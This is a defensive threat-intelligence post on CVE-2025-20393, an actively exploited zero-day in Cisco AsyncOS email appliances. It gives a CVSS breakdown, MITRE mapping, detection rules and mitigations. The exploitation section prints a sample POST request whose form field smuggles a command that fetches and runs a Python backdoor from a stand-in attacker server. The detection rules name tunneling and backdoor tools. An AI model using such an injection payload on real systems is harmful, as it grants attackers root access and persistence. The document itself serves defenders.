
Intro
Cisco has confirmed active in-the-wild exploitation of a maximum-severity zero-day vulnerability affecting Cisco Secure Email Gateway and Cisco Secure Email and Web Manager appliances. The activity is attributed to a China-nexus advanced persistent threat tracked as UAT-9686 and enables unauthenticated root-level command execution with persistent access.
π CVE Context
– Products affected: Cisco Secure Email Gateway, Cisco Secure Email and Web Manager
– Software: Cisco AsyncOS (all releases)
– Disclosure timeline: Cisco became aware December 10, 2025; exploitation observed since late November 2025
– Attack vector: Internet-exposed Spam Quarantine interface
– Authentication required: None
– Impact: Arbitrary command execution as root with persistence
CVSS Metric Breakdown (v4.0) - CVE-2025-20393 (Improper input validation leading to root RCE)
Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): None
User Interaction (UI): None
Confidentiality Impact (VC): High
Integrity Impact (VI): High
Availability Impact (VA): High
Scope Changed (SC): Changed
Safety Impact (SI): None
Automation (SA): High
Exploit Maturity: Active Exploitation
Base Score: 10.0 (Critical)
– Exploit tooling observed: ReverseSSH (AquaTunnel), Chisel, AquaPurge log cleaner, AquaShell Python backdoor
– Affected population: Limited subset of appliances with exposed Spam Quarantine interfaces
π― EPSS Scoring
EPSS score: 0.04563
Percentile: 0.88818
π¬ Exploitation Detail
– Threat actor scans for exposed Spam Quarantine endpoints
– Sends crafted unauthenticated HTTP POST requests abusing improper input validation
– Achieves root-level command execution on the underlying OS
– Deploys tunneling tools and backdoors to maintain persistent access
POST /quarantine HTTP/1.1
Host: victim-appliance
Content-Type: application/x-www-form-urlencoded
cmd=$(curl http://attacker-server/aquashell.py | python3)
π Attacker Behavior Snapshot
– Attacker sends crafted unauthenticated HTTP POST requests
– System executes payload with root privileges
– Backdoors leak command output and system state over encrypted tunnels
π§© Why This Matters
This vulnerability demonstrates how internet-exposed administrative features on security appliances become immediate high-value targets. Email gateways operate at trust boundaries and provide attackers privileged positioning once compromised.
Exploitation results in:
- Full root-level command execution
- Persistent access via tunneling backdoors
- Potential lateral movement into internal mail and identity systems
π§© MITRE ATT&CK Mapping
Initial Access: T1190 β Exploit Public-Facing Application
Execution: T1059.003 β Command Shell
Persistence: T1505.003 β Server Software Component
π§ͺ Detection Rules
YARA Rule (Memory/Doc/PCAP)
rule AquaShell_Python_Backdoor
{
meta:
description = "Detects AquaShell Python backdoor artifacts"
strings:
$python_exec = "python"
$http_post = "POST"
$decode = "decode"
condition:
all of them
}
Suricata or Zeek (Network)
alert http any any -> any any (
msg:"Cisco AsyncOS Spam Quarantine Exploit Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/quarantine"; http_uri;
sid:202520393;
)
Sigma Rule (SIEM/EDR)
title: Cisco AsyncOS Root Command Execution
logsource:
product: linux
detection:
selection:
process.user: root
process.command_line|contains:
- "ReverseSSH"
- "chisel"
- "aquashell"
condition: selection
π Detection Strategies
β Network Detection:
- Monitor HTTP POST requests to Spam Quarantine endpoints
- Detect unexpected outbound tunnels from email appliances
- Alert on internet exposure of management interfaces
β Endpoint Detection:
- Root shell execution originating from web services
- Presence of tunneling tools or Python backdoors
- Log deletion or manipulation attempts
β‘ Splunk Query
index=network sourcetype=http
uri_path="/quarantine"
method=POST
| stats count by src_ip, dest_ip, user_agent
π οΈ SOC Detection Strategy
– Treat email security appliances as high-priority assets
– Correlate web access logs with root process execution
– Escalate immediately on detection of tunneling tools or persistence mechanisms
π οΈ Tools & Techniques
Tool | Usage
Sysmon | Track privileged process execution
Velociraptor | Hunt for tunneling and persistence artifacts
Zeek | Inspect HTTP POST abuse patterns
Sigma/YARA | Detect known malware and persistence behavior
π‘οΈ Mitigation & Response
– No patch available at time of disclosure
– Remove Spam Quarantine interfaces from internet exposure immediately
– Restrict access to trusted IPs behind firewalls
– Separate mail handling and management interfaces
– Disable HTTP access to administrative portals
– Rebuild appliances if compromise is confirmed
π Incident Response Snippets
– Review web logs for Spam Quarantine access patterns
– Identify outbound tunnels and unexpected root processes
– IR questions: Was persistence deployed? Were credentials accessed? Was mail data exposed?
– Full appliance rebuild required to remove persistence
π Suggested Reading & External References
– Cisco Security Advisory for CVE-2025-20393
– CISA Known Exploited Vulnerabilities Catalog
– Prior reporting on AquaTunnel and APT41 tooling
– GreyNoise reporting on VPN credential-based campaigns
πΎοΈ Final Thoughts
This zero-day turns an email security appliance into a root-level foothold without authentication.
The most effective action now is to eliminate all unnecessary internet exposure immediately.
Detection is field work, especially when perimeter devices are the target.
Published: December 19, 2025
Leave a comment